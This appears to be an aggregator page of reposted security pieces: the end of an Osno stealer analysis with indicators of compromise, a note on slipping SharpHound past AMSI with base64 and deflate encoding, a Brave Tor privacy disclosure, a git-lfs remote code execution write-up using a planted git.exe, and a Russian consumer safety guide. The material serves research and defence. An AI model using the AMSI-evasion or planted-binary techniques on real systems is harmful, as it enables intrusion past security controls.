Firstly, most of the serious sounding features are only possible after the malware sucessfully accessed the system and gained administrator privileges. That includes the rootkit and the anti-AV. The lateral movement portion depends on an external tool that needs to be downloaded first. It is only successful if network adminstrators disregard security measures alltogether, thus, unlikely to cause serious outbreaks.

Secondly, many of the stealer’s features have been taken from public respositories and are known to defenders, making detection of the malware easier. Osno seems to have been worked around some of those tools. E.g., it uses the r77 rootkit binaries as is, although they are unfinished and only work with drawbacks. Osno renames its files to make them work for the rootkit binaries instead of implementing a rootkit that works for the Osno files.

The ransomware, which may have been self-implemented, seems not finished yet, which is confirmed by existence of non-implemented XXTEA code and the fact that this feature is not advertised. Later versions will likely use encryption instead of destroying files.

Due to the mishmash of open-source code and tools from other malware Osno is best described as a patchwork Frankenstein’s monster .

Indicators of compromise

[1] Osno/Babax stealer3bb9f55514122071824320091030f517a2809c140d86791275037569b26f53f1
[2] Unpacked Osno4fd221c89030a1fe1c2396a957990693ec8e6330ed79c63bde24abdbc0b8b166
[3] Screenlocker «Osno Decryptor.exe»40e4fffa431378e9f09310bba5ff4b8bcec1e11e2b9a606d15f123b696bdb697
[3] Da pure C++ Clipper1412516d5f9e43e9c797bbeb3872ef2ff0f68cf51d66288cfd257bb0b56a0e54
DescriptionIndicator of compromise
Regex for names of downloaded and executed files by Osno
located in %APPDATA% folder
Used as marker for download and execute, contains «0x15» after successful execution.%APPDATA%\system.infox
Data file that indicates if autorun was set, contains either «False» or «01010»C:\ProgramData\ar.xdg
Contains the path of the Osno executable base64 encoded or after lateral movement the string «0x14»%TEMP%/gpustats.bx
Discord JScript files placed by AnarchyGrabber%AppData%\Discord\<version>\modules\discord_desktop_core\osno\inject.js
Additional user for RDP access, password «5Z6aW8qRhLWEwS»Defaultuzer
Ransom message to be displayed by screenlockerRecInstruct.osnoned
Regex for content of overwritten files with .osnoed extension^OsnoRansom([A-Z0-9]){50,200}$
Stolen data, placed in%TEMP%\<md5(username)>Osno\<md5(machinename)>-LogsChromium Logins.txt
Gecko Logins.txt
Direct Login Cookies.txt
Hardware & Soft.txt

Bypass AMSI in PowerShell

Bypass AMSI in PowerShell #bypass #amsi #powershell

Original text by Aidin Naserifard

In one of the RedTeam projects, I was looking to use BloodHoundAD Script. BloodHound is a single page JavaScript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment. [https://github.com/BloodHoundAD/BloodHound].

Let me explain the Scenario…

I want to use SharpHound. SharpHound is the C# Rewrite of the BloodHound Ingestor.

Image for post

When you run the SharpHound.ps1 directly in PowerShell, the latest version of AMSI prevents it from running:

Image for post

Because this script is known as a malicious payload, Microsoft AMSI has its signature and prevented it from running.

Well, I fragmented this script and ran each part separately and directly in PowerShell. The reason for this is that I wanted to find out which parts of the malicious payload can detect by AMSI exactly.

OMG! AMSI cannot detect value of this parameter : $EncodedCompressedFile. This is the main part of malicious code. Now you need to use some other part of the script to execute it correctly in PowerShell.

Image for post

You can bypass AMSI by base64 encoding and deflate compressing a malicious payload and then executing it. Here is the POC video.

How I found a Tor vulnerability in Brave Browser, reported it, watched it get patched, got a CVE (CVE-2020-8276) and a small bounty, all in one working day

Original text by sickcodes

Recently, I discovered a small but potentially devastating vulnerability in the new Tor feature of the Brave browser.

As of November 2nd 2020, Brave monthly users 9 have massively increased their browser market share to 20 Million Monthly Active Users + 7 Million Daily Active Users.

Brave is a unique browser, created by Brendan Eich, who is also the inventor/creator of JavaScript. He is also the former CEO of the Firefox browser’s parent company, Mozilla.

Brave is based on Chromium, which is the Open Source version of the well known Chrome browser. Being an Open Source project, this allows any developer, anywhere, the ability to inspect the source code of the project. You can inspect the code yourself here: https://github.com/brave/brave-core 12

In 2018 Brave added the ability to integrate Tor sessions into their Incognito mode. Essentially, it is Private Window browsing inside Chrome, with an added Tor network traffic routing circuit, for a whole range of added privacy bonuses: https://brave.com/tor-tabs-beta/ 9

On October 30th 2020, I updated my local version of Brave to the latest version.

Specifically, I was running brave-bin 1:1.16.72-1, from the Arch User Repository (AUR) btw. https://aur.archlinux.org/packages/brave-bin/ 3

After some light digging, there is a transient session information file located in the folder that contains your Brave configurations.

~/.config/BraveSoftware/Brave-Browser/Local\ State

The file is named “Local State” and annoying has a space in the filename, so you must always quote the file or escape the space with a backslash.

It is a JSON file that stores core metrics, particularly, the feature in which Brave makes money from.

Without going into too much detail, Brave makes money off users enabling the Brave rewards program that involves cryptocurrency, sponsored background images, and referral links to big crypto trading sites like Binance, Gemini, Crypto.com, Coinbase etc


Once pretty-printed, you can see the sites in which Brave will send a “partner” header to:

    "referral": {
      "headers": [
          "cookieNames": [],
          "domains": [
          "expiration": 31536000000.0,
          "headers": {
            "X-Brave-Partner": "coinbase"
          "cookieNames": [],
          "domains": [
          "expiration": 31536000000.0,
          "headers": {
            "X-Brave-Partner": "softonic"
          "cookieNames": [],
          "domains": [
          "expiration": 31536000000.0,
          "headers": {
            "X-Brave-Partner": "dowjones"

If you visit these websites while using Brave Browser, the browser will automatically add a referral header. This is the same as clicking an affiliate link to Amazon, except that you can’t really turn it off.

You can modify the source code, of course, but below I will demonstrate the difference and why it initially raised my eyebrows…

Here is the request for a normal website:

curl 'https://disclose.io/' \
  -H 'authority: disclose.io' \
  -H 'pragma: no-cache' \
  -H 'cache-control: no-cache' \
  -H 'dnt: 1' \
  -H 'upgrade-insecure-requests: 1' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
  -H 'sec-fetch-site: none' \
  -H 'sec-fetch-mode: navigate' \
  -H 'sec-fetch-user: ?1' \
  -H 'sec-fetch-dest: document' \
  -H 'accept-language: en-US,en;q=0.9' \
  -H 'sec-gpc: 1' \

Here is the request for a Brave Partner website:

curl 'https://www.coinbase.com/' \
  -H 'authority: www.coinbase.com' \
  -H 'pragma: no-cache' \
  -H 'cache-control: no-cache' \
  -H 'dnt: 1' \
  -H 'upgrade-insecure-requests: 1' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
  -H 'x-brave-partner: coinbase' \
  -H 'sec-fetch-site: none' \
  -H 'sec-fetch-mode: navigate' \
  -H 'sec-fetch-user: ?1' \
  -H 'sec-fetch-dest: document' \
  -H 'accept-language: en-US,en;q=0.9' \
  -H 'sec-gpc: 1' \

As you can see, Brave inserts the header:

  -H 'x-brave-partner: coinbase' \

Obviously Brave has to make money. But I immediately wanted to see if it showed up on Tor sessions.

To enable the Tor feature, you need to visit brave://settings/?search=tor, or just go to settings in the menu.

Enable this:

Private Window with Tor
Tor hides your IP address from the sites you visit.

Once enabled, you can open Tor windows in the menu bar:


As Tor Project users will understand, there are a number of obvious issues while using Tor outside of the original Tor Browser.

The list of ongoing leakproofing for the Brave Tor experience can be found in the Brave Core git issues: https://github.com/brave/brave-browser/issues?q=is%3Aopen+is%3Aissue+label%3Afeature%2Ftor%2Fleakproofing 8

Tor browser users know about the window size fingerprinting technique, which already has an issue opened for the Brave rendition of Tor: https://github.com/brave/brave-browser/issues/9341 6

To answer the question above, yes, Brave sends the “x-brave-partner: coinbase” header when visiting the coinbase website.

Even when Tor is on:

curl 'https://www.coinbase.com/' \
  -H 'authority: www.coinbase.com' \
  -H 'pragma: no-cache' \
  -H 'cache-control: no-cache' \
  -H 'dnt: 1' \
  -H 'upgrade-insecure-requests: 1' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
  -H 'x-brave-partner: coinbase' \
  -H 'sec-fetch-site: none' \
  -H 'sec-fetch-mode: navigate' \
  -H 'sec-fetch-user: ?1' \
  -H 'sec-fetch-dest: document' \
  -H 'accept-language: en-US,en;q=0.9' \

I reported this small issue to the security team at Brave, via email, rather than HackerOne.

Along with this issue, I mentioned to the team that there is a folder that is generated during Tor sessions:


I suggested to the Brave security team that they should clear or shred this folder on exit.

Brave has a super responsive security team that excellently run by a well-known security icon named Yan Zhu, who you can follow on Twitter here: https://twitter.com/bcrypt 31

This is the original security report in full:

Re: [Security]

Vulnerability Details

A vulnerability in the Brave Web Browser allows remote websites to bypass an intended privacy feature of the Brave Web Browser. Even while using Tor, Brave sends a referral partner HTML header to specific partner websites, for example, “X-Brave-Partner”: “coinbase”, and “X-Brave-Partner”: “softonic”.
A targeted attack could trivially de-anonymize a user of the Brave browser. Since Oct 5, 2020 Brave offers a “private window” feature that supports The Onion Router (Tor) Network. The purpose of the Tor Browser from Tor project is to isolate each website you visit so that third-parties cannot follow you.

The Brave private window feature with Tor does not sufficiently anonymize users visiting Brave’s partner websites.

While using Tor, Brave stores the count, attempt count, and absolute timestamp of the above HTML request:
“tor_used”: true
“referral_attempt_count”: 25,
“referral_attempt_timestamp”: “13248492282530685”,
“timestamp”: “13244344644287168”
“incognito_used_timestamp”: “13248493693576042”,
“last_used”: “Tor Profile”,
“profile_counts_reported”: “13248492279614953”

After the user ends the Tor session, the data is not cleared and users should be aware that the Tor feature of Brave browser is not secure as intended and the browser can leak, or send usage statistics, of critical information to their partner websites that could be used by an attacker to triangulate a user.

After a few emails back and forth discussing the issue with the persistent Tor folder and various Tor metrics in the Local State file, Yan @ Brave confirmed in the following message:

Monday Morning, 2nd November 2020:

Re: [Security]

…we found that indeed we were accidentally logging the when any incognito session was used, when we were supposed to only log the timestamp that a non-Tor incognito session was used: https://github.com/brave/brave-core/pull/7010 21.
We consider this a valid security issue and would be happy to issue a bounty via HackerOne if you resubmit it there: https://hackerone.com/brave 14. I think this is a sec-low issue given that someone who has access to the local disk cannot tell if the timestamp corresponds to a Tor session (rather than a regular incognito session). Also, the value that actually gets sent to the Brave metrics server is bucketed into the following values (so the timestamp isn’t a fingerprinting vector):

Used in last 24h
Used in last week but not 24h
Used in last 28 days but not week
Ever used but not in last 28 days
Never used

Before I had even submitted the report to HackerOne, the team had already patched the vulnerability:github.com/brave/brave-core 21

12452: Fix incognito used timestamp for P3A. 21

brave:master ← brave:ie_incognito_timestampopened  Nov 2, 2020 iefremov+2 -1HackerOne 25

Brave Software disclosed on HackerOne: Brave Browser potentially… 25

## Summary: A vulnerability in the Brave Browser allows an attacker to view the last time a Tor session was used in incognito mode. A local, on-disk attacker could read the Brave Browser’s «Local State» json file and identify the last time a Tor…

GitHub has an amazing feature where you can add .patch to a pull request URL and it will give you the Pull Request changes, in a patch file.

https://github.com/brave/brave-core/pull/7010.diff 8

From 2b690a354e42ee8cd2aaa9a7f0b4375dc91d5e01 Mon Sep 17 00:00:00 2001
From: Ivan Efremov <iefremovXbrave.com>
Date: Mon, 2 Nov 2020 15:43:05 +0700
Subject: [PATCH] 12452: Fix incognito used timestamp for P3A.

Fixes https://github.com/brave/brave-browser/issues/12452
 browser/p3a/p3a_core_metrics.cc | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/browser/p3a/p3a_core_metrics.cc b/browser/p3a/p3a_core_metrics.cc
index 9befca08bf6..4a0c2d691d9 100644
--- a/browser/p3a/p3a_core_metrics.cc
+++ b/browser/p3a/p3a_core_metrics.cc
@@ -43,7 +43,8 @@ enum class WindowUsageStats {
 const char* GetPrefNameForProfile(Profile* profile) {
-  if (profile->IsIncognitoProfile()) {
+  if (profile->IsIncognitoProfile() &&
+      !brave::IsTorProfile(profile)) {
     return kLastTimeIncognitoUsed;
   return nullptr;

It’s hard to follow the timestamps correctly, because there are lots of timezones and stamps involved, but the speed at which this was fixed can be emphasized by the following fact:

In the reply where Brave confirmed it was indeed a security issue, they had already patched the vulnerability.

I would like to thank Brave security for being crystal clear in all emails, very open and discussive about security issues, and for the quick turn around.

Had this not been over the weekend, I think Brave would have patched and pushed this fix same-day.

Open Source Code Programs

I speak to a lot of security researchers, every day.

Mostly on my Twitter @sickcodes 24, sometimes on Discord, and also researcher forums like here, https://community.disclose.io 1.

For other researchers out there, I’d just like to highlight a few things about this disclosure process.

This bug is an Open Source Code program on HackerOne, and you can find the Brave project’s HackerOne program here: https://hackerone.com/brave?type=team 5

Although Brave is designed for Desktops, there are plenty of security programs out there that are meant to run on servers.

The reason I reported the vulnerability through email first, was that I wasn’t really interested in the bounty, I was interested in the CVE.

What actually ended up happening was that MITRE rejected the CVE Request, which is at the top of this post, due to some flaws. They actually contacted Brave first to verify the report which was interesting.

After brainstorming with Brave through email, the bug was actually chiseled out to be the core_p3a_metrics timestamping in the JSON file.

What I would like to show other researchers is that this bug involved no actual code review.

Because this is an Information Exposure vulnerability, it is contextual rather than seeing an XSS alert show up on your screen.

One major advantage of Open Source projects is that there are no duplicates.

When a bug is found, usually within a day or two, there is either a Pull Request, that anyone can view, or a new issue posted, that anyone can view publicly.

If you’re having trouble with duplicates, see if.

Even though a simple timestamp might not appear to be a vulnerability, with some critical thinking, you can imagine some scenarios.

For example, consider this scenario

  • a Human Right’s activist has their disk seized by local authorities.
  • Brave browser’s Local State file is read
  • file shows the last time Tor was used, with nanosecond accuracy.
  • the ISP also has a corresponding timestamp for the person’s Tor usage.

As you can imagine, this could be absolutely devastating for some.

Since this is a physical access vulnerability, the actual exploitability is quite low.

While I consider it medium loss of software integrity on the CVSS calculator, I didn’t want to hype this vulnerability up.

I entered the vulnerability as low security and was awarded a bounty of $100

Here are some Critical Weaknesses I encourage other researchers to consider when looking for bugs, like in programs that they use every day:

  • CWE-200: Information Exposure
  • CWE-201: Information Exposure Through Sent Data
  • CWE-202: Exposure of Sensitive Data Through Data Queries
  • CWE-203: Information Exposure Through Discrepancy
  • CWE-209: Information Exposure Through an Error Message
  • CWE-211: Information Exposure Through Externally-Generated Error Message
  • CWE-212: Improper Cross-boundary Removal of Sensitive Data
  • CWE-213: Intentional Information Exposure
  • CWE-214: Information Exposure Through Process Environment
  • CWE-215: Information Exposure Through Debug Information
  • CWE-226: Sensitive Information Uncleared Before Release
  • CWE-497: Exposure of System Data to an Unauthorized Control Sphere
  • CWE-524: Information Exposure Through Caching
  • CWE-526: Information Exposure Through Environmental Variables
  • CWE-532: Information Exposure Through Log Files
  • CWE-538: File and Directory Information Exposure
  • CWE-598: Information Exposure Through Query Strings in GET Request
  • CWE-612: Information Exposure Through Indexing of Private Data

I’m always happy to chat to researchers, and even collaborate, on vulnerabilities together.

There’s only so many hours in each day and more than one brain is almost always stronger than one.

Hope this shed some light on this simple process of finding this vulnerability.

In essence:

  • Thinking about Brave partners made me look at the partner headers.
  • Looking at partner headers in Tor made me look inside the Tor folder.
  • After exiting the Tor folder, and observing no deletion of the folder, I considered this a vulnerability starting block.
  • Further looking inside the .config led me to find Tor timestamps.
  • Since Tor is a security feature, any bugs in security features are bigger than they might seem.

If you want to ask me any questions about finding bugs, or hacking in general, you can follow me on Twitter, my username there is and the URL is:

@sickcodes 24

Attack of the clones: Git clients remote code execution

Attack of the clones: Git clients remote code execution

Original text


This post is a rather unusual story of a vulnerability that could be leveraged as a supply chain attack and used to attack millions of software developers around the world. It is also a tale of a bug collision that paid a bounty to one reporter and assigned the CVE to another!

The main focus of this blog post is GitHub Desktop. Other Git clients such as GitKraken, Git-Tower and SourceTree were also found to be vulnerable, however these have different exploitation scenarios that require user interaction.

Brief description of the issue

As part of GitHub Desktop’s default repository cloning process, among other actions it calls the executable git-lfs.

From git-lfs’s official page «Git Large File Storage (LFS) replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server like GitHub.com or GitHub Enterprise.»

git-lfs is then called on the current cloned repository, already present in disk.

A vulnerability was discovered when cloning a repository with a especially crafted file in the root directory. Upon cloning such malicious repository, code execution is achieved with the same privileges as the affected user running GitHub Desktop.

When inspecting the desktop application under Proccess Monitor, it was noticed several actions of git-lfs called a git executable from inside the newly cloned repository.


By placing a malicious git in the root of the malicious repo, a user that clones it will have the malicious git executed by git-lfs, all of this behind the scenes and transparent to the user.

The cloning process happens normally and there is no visual indication that a malicious binary was ran instead of the original git executable.

Root cause analysis

We attempted to understand the root cause of this vulnerability by reading git-lfs’s code. The authors of this write-up tried to put together as much information as possible in order to understand the cause of the problem.

From https://github.com/git-lfs/git-lfs/blob/master/commands/command_clone.go

From line 23:

func cloneCommand(cmd *cobra.Command, args []string) {

	if git.IsGitVersionAtLeast("2.15.0") {
		msg := []string{
			"WARNING: 'git lfs clone' is deprecated and will not be updated",
			"          with new flags from 'git clone'",
			"'git clone' has been updated in upstream Git to have comparable",
			"speeds to 'git lfs clone'.",

		fmt.Fprintln(os.Stderr, strings.Join(msg, "\n"))

The function above seems to be called when a clone action takes place. Right in the beginning the function calls requireGitVersion() and then checks whether the version is at least 2.15.0.

From https://github.com/git-lfs/git-lfs/blob/master/commands/commands.go

Line 537:

func requireGitVersion() {
	minimumGit := "1.8.2"

	if !git.IsGitVersionAtLeast(minimumGit) {
		gitver, err := git.Version()
		if err != nil {
			Exit("Error getting git version: %s", err)
		Exit("git version >= %s is required for Git LFS, your version: %s", minimumGit, gitver)

It calls !git.IsGitVersionAtLeast(minimumGit) which can be found in https://github.com/git-lfs/git-lfs/blob/master/git/version.go

From line 28:

func IsGitVersionAtLeast(ver string) bool {
	gitver, err := Version()
	if err != nil {
		tracerx.Printf("Error getting git version: %v", err)
		return false
	return IsVersionAtLeast(gitver, ver)

Version() can be found in the same file version.go on line 18:

func Version() (string, error) {
	gitVersionOnce.Do(func() {
		gitVersion, gitVersionErr =
			subprocess.SimpleExec("git", "version")
	return gitVersion, gitVersionErr

The function calling chain is the following:
cloneCommand() -> requireGitVersion() -> IsGitVersionAtLeast() -> Version()

We can see that in line 21 in version.go, there is inside the function Version() a call to subprocess.SimpleExec() — it executes the git binary with the argument «version».

There is an implicit assumption from git-lfs that by executing an external binary, the operating system will first look it up from the system’s PATH environment variable. This is the true root cause of the vulnerability.

Calling the subprocess ‘git’ works as intended in GitHub Desktop for MacOS. In Windows, however, the search order favors the current directory first and only then it searches in the order specified in PATH.


By copying calc.exe, renaming it to git.exe and committing/pushing it into the root of the repository, the attacker sets up the crafted repository that will be used to later exploit users.

When a developer clones this repository using GitHub Desktop for Windows, its subcomponent git-lfs will work on the cloned folder as its current directory, meaning all subsequent calls to the binary ‘git’ will be instead calling the malicious git.exe not the one present in the PATH.


Below is a the video of exploiting this issue on GitHub Desktop for Windows:

Other clients

During our research we noticed SourceTree

  • SourceTree


The vulnerability was simultaneously discovered and researched by Vitor Fernandes and Julio Fort of Blaze Information Security. The independent researcher Dawid Golunski (dobra robota, amigo!) apparently discovered the issue a few days earlier and submitted it to MITRE, while Vitor submitted it to GitHub’s bug bounty.

Vitor collected the bounty from GitHub’s program on HackerOne as his report arrived earlier and Dawid was assigned the CVE.


[1] https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/path]
[2] https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753427(v=ws.11)
[3] https://github.com/git-lfs/git-lfs/security/advisories/GHSA-4g4p-42wc-9f3m (Collision with Dawid Golunski)

Взлом и защита

Боитесь, что ваш бывший в вашем Facebook? Что ваш компьютер стал заложником программы-вымогателя? Или что преступные хакеры грабят ваш банковский счет?

Original text

Не взламывайте

Боитесь, что ваш бывший в вашем Facebook? Что ваш компьютер стал заложником программы-вымогателя? Или что преступные хакеры грабят ваш банковский счет?

Это руководство в понятной форме объясняет, как защитить себя от хакеров . Шесть профессиональных хакеров внесли свой вклад в руководство.

Do Not Get Hacked не гарантирует стопроцентной безопасности. Этого нет в Интернете. Однако вы можете максимально усложнить задачу для хакеров и их вирусов, следуя этим советам.

Прежде чем мы начнем, не сидите за компьютером в ужасе. Вероятность того, что хакер нацелится только на вас, очень мала. Самая большая опасность возникает из-за того, что многие люди плохо разбираются в компьютерах и Интернете. Давайте улучшим это в этом году 👍.

Что такое хакеры?


Хакеры используют уязвимости в Интернете или на устройствах. В основном есть два типа: хакеры в белой шляпе и хакеры в черной шляпе. Так называемые хакеры в белой шляпе ищут уязвимости, чтобы гарантировать их исправление. Это делает Интернет немного безопаснее.

В СМИ чаще всего пишут о хакерах в черной шляпе 😈. Это хакеры со злым умыслом, которые, например, хотят украсть деньги или проникнуть в ваш дом, чтобы следить за вами. Или они ищут конфиденциальные данные, такие как фотографии обнаженного тела или копию вашего паспорта.

Также существует группа криминальных хакеров, которые ради забавы взламывают людей. Эта группа состоит в основном из молодых людей, которые видят в хакерских атаках некую разновидность онлайн-проказ. Несмотря на их, возможно, безобидные мотивы, вы все равно должны остерегаться этих хакеров.

Есть также хакеры, которые взламывают цели от имени правительства. Хакеры, нанятые секретной службой police или полицией, являются наиболее опасными, но не представляют прямой угрозы для многих людей. Они взламывают террористов, преступников и враждебные режимы, а не обычных пользователей Интернета.

Как обычно проникают хакеры?

Хакеры часто начинают с кражи вашего пароля . Иногда вы ничего не можете с этим поделать, например, если сайт, на котором у вас есть профиль, взломан. Поэтому хакеры крадут ваш пароль, а затем пытаются взломать другие учетные записи с этим паролем, например, ваш Gmail.

Также бывает, что вы случайно передаете свой пароль хакерам. Это происходит с фишингом , формой интернет-мошенничества, при которой преступники пытаются украсть ваши данные для входа. Вероятно, вы получите фишинговое письмо, например фальшивое сообщение о том, что ваш банковский счет заблокирован или прямой дебет не был оплачен.

Хакеры также взламывают вложения электронной почты . Если вы откроете такое вложение, ваш компьютер будет захвачен. Этот метод обычно используется для распространения вирусов-вымогателей, которые делают ваш компьютер непригодным для использования, блокируя ваши файлы. Затем хакеры требуют выкуп, чтобы ваш компьютер снова стал доступным.

Вирусы, также известные как вредоносные программы, также регулярно распространяются посредством загрузок , таких как торренты или установочные файлы для программы, которую вы хотите использовать. Вы думаете, что загружаете фильм или программу для очистки компьютера, но на самом деле вы заражаетесь вирусом.

Вирус также может попасть на ваш компьютер через интернет-рекламу и приобретенные веб-сайты . Даже голландские сайты иногда непреднамеренно распространяют вирусы. Если вы не обновите свой компьютер и программное обеспечение, вы рискуете получить эти типы инфекций.

Меньший, но все же существующий риск заключается в том, что хакер с USB-накопителем получит полный контроль над вашим компьютером. Это может быть USB-накопитель, который вы случайно нашли на улице или получили от кого-то, но злоумышленник также может вставить устройство в ваш ноутбук, когда вы идете в туалет.

вернуться наверх ↑



Теперь, когда вы знаете, что такое хакеры и как они обычно пытаются проникнуть в них, примените первые советы 💡. Речь идет об основах, простом списке мер, которые должен предпринять каждый.


Многие люди считают обновление утомительным и трудоемким процессом. В некоторых случаях это так, но это также самая важная защита от хакеров. Многие взломы оказываются успешными, потому что жертва использует устаревшее программное обеспечение. Он по-прежнему содержит уязвимости, которые закрываются обновлениями безопасности.

Чем старше ваше программное обеспечение, тем легче хакерам получить доступ.

Программное обеспечение работает на всех типах устройств. Подумайте о Windows или MacOS на вашем компьютере или ноутбуке, Android или iOS на ваших мобильных устройствах, а также о вашем роутере и умных устройствах дома. Регулярно — раз в неделю — проверяйте наличие обновлений для ваших устройств и устанавливайте их как можно скорее ⏰. В некоторых случаях вы также можете установить обновления автоматически, в том числе в Windows, MacOS и браузере Chrome .

Кроме того, важно обновлять свои приложения и компьютерные программы, такие как браузер, программа для чтения PDF-файлов и Microsoft Office. Вы часто будете получать уведомление, когда доступна новая версия.


В настоящее время вам нужна учетная запись почти для каждого веб-сайта или приложения, включая пароль. Поскольку мы, люди, никогда не можем вспомнить десятки разных паролей, мы склонны использовать один и тот же пароль в нескольких местах.

Это красиво и легко, но также очень опасно ⚠️. Если хакер узнает ваш пароль Spotify, вы не хотите, чтобы этот пароль предоставлял доступ к вашему интернет-банкингу. И если вы поделитесь своим паролем Netflix с другом, вы не хотите, чтобы он мог войти в ваш Gmail или Facebook.

Вот почему важно использовать уникальный пароль для каждого веб-сайта или приложения. Просто изменить цифру 1️⃣ или букву 🅰️, как это делают многие люди, недостаточно. Эти вариации легко угадать. К счастью, для этого есть удобное решение: менеджеры паролей , более известные как менеджеры паролей .

Менеджеры паролей

Менеджер паролей хранит все ваши пароли в цифровом сейфе 🔑 и защищает их с помощью зонтичного пароля. С этого момента вам нужно помнить только один пароль для доступа ко всем своим учетным записям. Эти приложения также могут автоматически создавать очень сложные пароли, такие как 6ur7qvsZpb0ZkcuSW1u!V8ng!L^lb, а затем сохранять их. Такие пароли практически невозможно взломать или угадать.

Менеджеры паролей имеют возможность с вашими учетными данными для входа на веб-сайты. Это уже защищает вас от множества фишинговых атак. Если адрес веб-сайта неверен, например ing.mijnbanklogin.nl, менеджер паролей не будет вводить ваши данные для входа в ING. Вы также можете использовать менеджер паролей для хранения заметок 📓, таких как коды входа, секретные ключи и ответы на секретные вопросы.

Хорошие менеджеры паролей — LastPass, 1Password, Bitwarden и KeePass. Если вы никогда раньше не использовали менеджер паролей, лучше всего попробовать бесплатную версию LastPass.


Значок LastpassLastPass — это чистый менеджер паролей с множеством функций, включая расширение браузера для генерации и ввода паролей. LastPass имеет хорошие приложения практически для всех операционных систем и может использоваться бесплатно. Платная версия дает вам 1 гигабайт места для хранения конфиденциальных документов и возможность делиться паролями с другими.


1 значок пароля1Password известен своим красивым дизайном и оптимизирован для использования на устройствах Apple, таких как iPhone и Macbook. Недавно в приложении появилось удобное расширение для браузера ( 1Password X ), которое генерирует и вводит пароли за вас. Учетные записи 1Password работают со специальной защитой в виде длинной строки символов и цифр, которые вы должны ввести для доступа к своей учетной записи.


Значок BitwardenBitwarden стал очень популярным в последние годы. Сервис полностью открыт, имеет хорошее приложение почти для каждой платформы и бесплатный. Даже обмен паролями с кем-либо, часто платный вариант для менеджеров паролей, является бесплатным. Как только вы хотите поделиться паролями с несколькими людьми, вы платите 1 доллар в месяц, что также дает вам 1 гигабайт места для хранения ваших файлов. Технически подкованные пользователи могут управлять своим собственным облаком Bitwarden, чтобы все находилось внутри компании.


Значок KeePassЭксперты считают KeePass наиболее безопасным менеджером паролей, отчасти потому, что многие исследователи безопасности используют приложение и постоянно делают его более безопасным. Обратной стороной KeePass является то, что приложение выглядит довольно старомодно, как будто вы используете программу Windows XP. К счастью, сообщество KeePass состоит из разработчиков-энтузиастов, которые создают отличные приложения для KeePass, такие как MacPass для MacOS . Также рекомендуется KeePassXC , во многих отношениях лучшая и более полная версия KeePass, которую поддерживает группа энтузиастов разработчиков.

Вы можете подумать: это безопасно, такой цифровой сейф ? Эти опасения понятны: LastPass, например два раза взломаны. Тем не менее, пароли никогда не крались, потому что они очень надежно хранятся в цифровом сейфе.

Хороший пароль

Часто веб-сайты и приложения просят использовать надежный пароль со специальными символами и цифрами. Но что такое хороший пароль? w@chtwoord007многие люди считают его хорошим паролем, но втайне хакерам легко взломать 🔨. Вот почему лучше думать не о паролях, а о парольных фразах .

Предложения длинные и легко запоминающиеся — два требования к надежному и надежному паролю. Такой пароль elke week eet ik 2 borden boerenkoolлегко запомнить, но его сложно взломать. Также используйте пробелы в паролях; о такой возможности часто забывают.

Также можно последовательно вставлять разные слова в качестве пароля . Используйте для этого Diceware : в настоящее время это самый безопасный способ создать пароль, который вы действительно можете запомнить.

В итоге: лучший способ сохранить ваши пароли

  • Получите менеджер паролей , желательно один из четырех выше.
  • Используйте парольную фразу или программу Diceware в качестве пароля .
  • Запишите этот пароль ✍️ и храните его в надежном месте, чтобы никогда не потерять доступ к своему менеджеру паролей.
  • Позвольте менеджеру паролей minimaal 20 tekensгенерировать и хранить случайные пароли .

Другие способы сохранить пароли


Значок брелкаДля людей, которые используют только продукты Apple 🍏, связка ключей iCloud — удобный выбор для сохранения паролей. Связка ключей, также называемая связкой ключей , может генерировать пароли и автоматически вводить их, когда они вам нужны. Параметры несколько ограничены по сравнению с другими менеджерами паролей, но в остальном связка ключей является безопасным выбором при условии, что ваша учетная запись iCloud защищена надежным паролем и двухэтапной проверкой .


Значок ChromeТакие браузеры, как Chrome и Firefox, предлагают сохранять ваши пароли. Это сам по себе хороший способ легко войти на часто используемые веб-сайты. Обратной стороной сохранения паролей в браузере является то, что они часто бывают слабыми: многие браузеры не генерируют надежные пароли, и если они это делают, как Chrome , многие люди не знают об этой функции. Лучше использовать менеджер паролей .


Значок буклетаТакже ручку и бумагу можно использовать в качестве менеджера паролей. Убедитесь, что вы выбрали уникальные пароли и сохраните буклет. Также сделайте копию и храните ее в сейфе, чтобы у вас всегда была резервная копия. И уберите свою парольную книжку, когда приходят семья, друзья или разнорабочий.

Полезный совет: все пароли в буклете должны начинаться с одного и того же слова . Вы не записываете это слово, но вы его запоминаете. Если кто-то завладеет вашей книгой паролей, этот человек все равно не сможет войти в ваши учетные записи.

Следите за украденными паролями

Также важно проверить, не был ли один из ваших паролей украден хакерами. Веб-сайт Have I Been Pwned следит за взломанными веб-сайтами и предупреждает вас, как только ваши данные будут найдены. На этом сайте вы можете одним нажатием кнопки увидеть, находитесь ли вы в опасности.

Если вы зарегистрируетесь, вы даже получите уведомление 🔔, как только ваш адрес электронной почты появится в украденных файлах. Таким образом, вы точно знаете, в каком сервисе какой пароль был украден, и можете сразу его изменить. После этого самая большая опасность — хакер войдет в систему с вашим паролем — прошла.

